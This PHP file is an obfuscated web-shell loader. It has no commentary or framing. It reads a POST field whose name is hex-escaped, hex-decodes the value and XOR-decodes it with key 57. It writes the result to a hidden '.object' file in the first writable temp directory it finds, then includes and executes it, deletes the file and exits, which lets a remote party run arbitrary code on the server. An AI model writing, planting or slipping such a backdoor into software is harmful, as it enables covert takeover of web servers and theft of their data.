<?php

if(filter_has_var(INPUT_POST, "\x64e\x73c")){
$rec = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), getenv("TMP")]);
$bind = hex2bin($_POST["\x64e\x73c"]);
$val    =   ''   ;    foreach(str_split($bind) as $char){$val.=chr(ord($char)^57);}
while ($data_chunk = array_shift($rec)) {
            if ((is_dir($data_chunk) and is_writable($data_chunk))) {
            $entity = join("/", [$data_chunk, ".object"]);
            $success = file_put_contents($entity, $val);
if ($success) {
    include $entity;
    @unlink($entity);
    die();
}
        }
}
}